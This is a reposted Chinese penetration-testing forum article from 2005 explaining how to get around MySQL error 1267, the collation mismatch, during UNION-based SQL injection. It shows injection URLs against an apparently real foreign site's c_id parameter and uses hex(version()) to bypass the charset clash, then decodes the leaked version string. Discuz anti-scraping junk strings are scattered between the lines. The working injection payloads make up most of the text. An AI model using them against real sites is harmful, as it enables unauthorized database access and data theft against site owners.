中国网络渗透测试联盟
标题:
MySQL注射时ErrorNo.1267的突破
[打印本页]
作者:
admin
时间:
2012-9-15 14:04
标题:
MySQL注射时ErrorNo.1267的突破
本文作者:SuperHei
5 P/ m( B- a* M: [: l
文章性质:原创
% A' [* A! M7 {- A' i
发布日期:2005-10-18
+ |) [% y. R- [; I
测试个国外的站时:
4 E. g, W, x& g$ w8 g' | P* D
url:?c_id=2%20and%201=2%20union%20select%201,version(),3,4,5,6%20/*
. I) g$ u) {" F t
返回错误:
/ h( V5 L3 _% j) W2 s
Illegal mix of collations (euckr_korean_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
; F8 r3 X8 W, a; u* n4 i1 w
MySQL Error No. 126
/ D; s& C8 u9 w- r# X
看来是union查询前后字符集(
http://dev.mysql.com/doc/mysql/en/Charset-collation-charset.html
)不同出现的。
y3 R+ r5 I7 B& P
解决办法:转为其他编码如hex。
' ?/ |; @" s+ q5 L
url:?c_id=2%20and%201=2%20union%20select%201,hex(version()),3,4,5,6%20/*
) s# x+ Q" c& _# t, L3 k& _
成功得到hex(version())的值为:
0 p) a* v# u2 U- r7 Y7 r2 V" Q
342E312E332D62657461
3 d8 ~! J, s8 K/ B, b6 ]7 \% R
回Mysql查询下得到:
/ p% i: k7 q, S, ]2 m5 H$ k
mysql> select 0x342E312E332D62657461;
4 j; J4 H- z3 K) J* I
+------------------------+
$ H# ?! m/ Z3 Q2 G
| 0x342E312E332D62657461 |
0 X4 z- N$ j! H
+------------------------+
# o$ w$ @0 A* T4 ~" n
| 4.1.3-beta |
% j, }) d$ Y) K& {0 N8 h
+------------------------+
, J' S) g4 |- @6 C7 l
1 row in set (0.00 sec)
% t3 `. ~5 t N; y7 Q9 @+ g! t
: n, M- f/ k" V6 V$ f8 _5 O+ R; {
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2